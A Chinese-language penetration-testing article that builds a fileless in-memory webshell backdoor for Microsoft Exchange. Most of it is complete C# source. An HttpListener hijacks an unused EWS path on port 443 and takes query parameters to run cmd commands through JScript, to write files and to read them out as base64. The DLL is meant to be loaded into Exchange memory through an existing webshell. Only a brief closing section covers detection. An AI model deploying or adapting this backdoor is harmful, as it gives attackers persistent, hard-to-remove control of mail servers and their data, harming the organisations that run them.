渗透基础——Exchange一句话后门的进一步实现
0x00 前言
在之前的文章《渗透基础——Exchange一句话后门的实现》和《渗透基础——Exchange一句话后门的扩展》介绍了通过Webshell内存加载.net程序集的方法。
如果同其他技术相结合,可以达到意想不到的效果。
本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。
0x01 简介
本文将要介绍以下内容:
- 思路启发
- 开源代码
- 检测方法
0x02 思路启发
1.Exchange的端口复用
参考资料:
http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html
https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0
通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问
这种方法可以在Exchange下建立一个监听器,执行提供的命令
2.通过C Sharp调用JScript
参考资料:
https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.vsa?view=netframework-4.8
示例代码test1.cs的内容如下:
using System;
namespace test
{
public class Program
{
public static void Main(string[] args)
{
string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()";
Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
code = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(code));
object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
Console.WriteLine(obj);
}
}
}
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test1.cs
3.Exchange的端口复用 + 通过C Sharp调用JScript
示例代码test2.cs的内容如下:
using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;
namespace test
{
public class test
{
static void Main(string[] args)
{
new Thread(Listen).Start();
}
static void Listen()
{
try
{
if (!HttpListener.IsSupported)
{
return;
}
HttpListener listener = new HttpListener();
listener.Prefixes.Add("https://*:443/ews/test/");
listener.Start();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Stream stm = null ;
string cmd=request.QueryString["pass"];
Console.WriteLine(cmd);
if(!string.IsNullOrEmpty(cmd))
{
try
{
Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
cmd = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(cmd));
object obj = Microsoft.JScript.Eval.JScriptEvaluate(cmd, vsaEngine);
byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
catch
{
response.StatusCode = 404;
}
finally
{
if(stm!=null)
{
stm.Close();
}
}
}
else
{
response.StatusCode = 404;
response.OutputStream.Close();
}
}
}
catch
{
}
}
}
}
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test2.cs
以上代码通过调用JScript执行cmd命令,简单实现了Webshell的功能
4.内存加载.net程序集
将以上代码按照.net程序集的格式编译成dll,再通过Webshell进行内存加载,那么就能够实现一个内存Webshell
示例代码tes3.cs的内容如下:
using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;
namespace EWS.TEST.BACKDOOR
{
public class TEST
{
static void Main(string[] args)
{
new Thread(Listen).Start();
}
static void Listen()
{
try
{
if (!HttpListener.IsSupported)
{
return;
}
HttpListener listener = new HttpListener();
listener.Prefixes.Add("https://*:443/ews/test/");
listener.Start();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Stream stm = null ;
string cmd = request.QueryString["cmd"];
string upload = request.QueryString["upload"];
string path = request.QueryString["path"];
string download = request.QueryString["download"];
if(string.IsNullOrEmpty(cmd) && string.IsNullOrEmpty(upload) && string.IsNullOrEmpty(download) && string.IsNullOrEmpty(path))
{
response.StatusCode = 404;
response.OutputStream.Close();
}
else
{
if(!string.IsNullOrEmpty(upload) && !string.IsNullOrEmpty(path))
{
byte[] temp = Convert.FromBase64String(path);
path = System.Text.Encoding.ASCII.GetString(temp);
byte[] data = Convert.FromBase64String(upload);
FileStream fs = new FileStream(path, FileMode.Create);
fs.Write(data, 0, data.Length);
fs.Flush();
fs.Close();
response.StatusCode = 200;
response.OutputStream.Close();
}
else if(!string.IsNullOrEmpty(download))
{
byte[] temp = Convert.FromBase64String(download);
download = System.Text.Encoding.ASCII.GetString(temp);
byte[] buffer = System.IO.File.ReadAllBytes(download);
string base64str = Convert.ToBase64String(buffer);
byte[] data = System.Text.Encoding.UTF8.GetBytes(base64str);
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
else if(!string.IsNullOrEmpty(cmd))
{
string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c " + cmd + "\").stdout.readall()";
try
{
Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
code = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(code));
object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
catch
{
response.StatusCode = 404;
}
finally
{
if(stm!=null)
{
stm.Close();
}
}
}
else
{
response.StatusCode = 404;
response.OutputStream.Close();
}
}
}
}
catch
{
}
}
}
}
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /r:Microsoft.JScript.dll test3.cs
生成的test3.dll即为实现内存Webshell的Payload数据,支持命令执行,文件上传和下载
0x03 检测方法
这种内存Webshell不需要文件落地,会写入进程内存,无法调用Assembly.UnLoad
清除,只能重启Exchange
检测方法:根据Assembly.Load的内存特性进行检查
参考资料:
https://www.elastic.co/blog/hunting-memory-net-attacks
可供参考的检测脚本:
https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58
检测命令:
powershell -ep bypass -c "Import-Module ./Get-ClrReflection.ps1;Get-ClrReflection"
0x04 小结
本文介绍了Exchange内存Webshell的实现思路,给出防御检测的建议。